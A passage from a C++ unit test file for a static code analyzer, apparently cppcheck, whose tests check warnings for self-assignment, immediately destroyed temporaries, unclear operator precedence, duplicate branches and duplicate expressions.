errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n 